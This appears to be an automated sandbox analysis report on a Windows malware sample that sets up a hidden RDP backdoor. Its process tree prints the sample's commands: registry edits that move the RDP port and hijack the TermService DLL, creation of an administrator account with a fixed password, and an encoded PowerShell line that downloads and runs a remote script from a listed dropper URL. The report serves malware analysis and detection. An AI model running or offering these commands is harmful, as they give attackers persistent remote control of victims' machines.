Analysis

  • max time kernel
    140s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    17/05/2021, 17:16

General

  • Target
    b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
  • Size 6.1MB
  • Sample210517-e319slvrz2
  • SHA256 b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
    "C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1424
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2280
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:2464
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:1640
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:2328
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2792
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:3024
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3940
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3912
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:200
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:3144
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3492
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1304
                  • C:\Windows\system32\net.exe
                    net start TermService
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:208
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      6⤵
                        PID:2808
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  3⤵
                    PID:2232
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    3⤵
                      PID:2188
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user WgaUtilAcc 000000 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3260
                  • C:\Windows\system32\net.exe
                    net.exe user WgaUtilAcc 000000 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:732
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                      3⤵
                        PID:1640
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc z7uZm91t /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2252
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc z7uZm91t /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1952
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc z7uZm91t /add
                        3⤵
                          PID:3952
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3636
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3024
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          3⤵
                            PID:2088
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2464
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3260
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            3⤵
                              PID:1864
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2484
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1764
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              3⤵
                                PID:2716
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc z7uZm91t
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2736
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc z7uZm91t
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3024
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user WgaUtilAcc z7uZm91t
                                3⤵
                                  PID:3940
                            • C:\Windows\System32\cmd.exe
                              cmd.exe /C wmic path win32_VideoController get name
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2088
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic path win32_VideoController get name
                                2⤵
                                  PID:1424
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3692
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic CPU get NAME
                                  2⤵
                                    PID:1952
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2372
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    2⤵
                                      PID:1852
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        3⤵
                                        • Blocklisted process makes network request
                                        • Drops file in Program Files directory
                                        • Drops file in Windows directory
                                        • Modifies data under HKEY_USERS
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4000

                                  Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        memory/196-125-0x0000029F67570000-0x0000029F67571000-memory.dmp

                                        memory/196-146-0x0000029F68070000-0x0000029F68071000-memory.dmp

                                        memory/196-128-0x0000029F67720000-0x0000029F67721000-memory.dmp

                                        memory/196-145-0x0000029F67CE0000-0x0000029F67CE1000-memory.dmp

                                        memory/196-133-0x0000029F4EED3000-0x0000029F4EED5000-memory.dmp

                                        memory/196-132-0x0000029F4EED0000-0x0000029F4EED2000-memory.dmp

                                        memory/196-134-0x0000029F4EED6000-0x0000029F4EED8000-memory.dmp

                                        memory/196-140-0x0000029F4EED8000-0x0000029F4EED9000-memory.dmp

                                        memory/1424-186-0x000001C6A6956000-0x000001C6A6958000-memory.dmp

                                        memory/1424-162-0x000001C6A6950000-0x000001C6A6952000-memory.dmp

                                        memory/1424-163-0x000001C6A6953000-0x000001C6A6955000-memory.dmp

                                        memory/1864-195-0x000001ECE42D3000-0x000001ECE42D5000-memory.dmp

                                        memory/1864-198-0x000001ECE42D8000-0x000001ECE42DA000-memory.dmp

                                        memory/1864-194-0x000001ECE42D0000-0x000001ECE42D2000-memory.dmp

                                        memory/1864-196-0x000001ECE42D6000-0x000001ECE42D8000-memory.dmp

                                        memory/2016-114-0x000001A9F0770000-0x000001A9F0B91000-memory.dmp

                                        memory/2016-116-0x000001A9F0330000-0x000001A9F0332000-memory.dmp

                                        memory/2016-118-0x000001A9F0335000-0x000001A9F0336000-memory.dmp

                                        memory/2016-119-0x000001A9F0336000-0x000001A9F0337000-memory.dmp

                                        memory/2016-117-0x000001A9F0333000-0x000001A9F0335000-memory.dmp

                                        memory/2280-199-0x000001862DA40000-0x000001862DA42000-memory.dmp

                                        memory/2280-200-0x000001862DA43000-0x000001862DA45000-memory.dmp

                                        memory/2280-202-0x000001862DA48000-0x000001862DA4A000-memory.dmp

                                        memory/2280-201-0x000001862DA46000-0x000001862DA48000-memory.dmp

                                        memory/4000-235-0x000001B6444A3000-0x000001B6444A5000-memory.dmp

                                        memory/4000-234-0x000001B6444A0000-0x000001B6444A2000-memory.dmp

                                        memory/4000-236-0x000001B6444A6000-0x000001B6444A8000-memory.dmp

                                        memory/4000-237-0x000001B6444A8000-0x000001B6444A9000-memory.dmp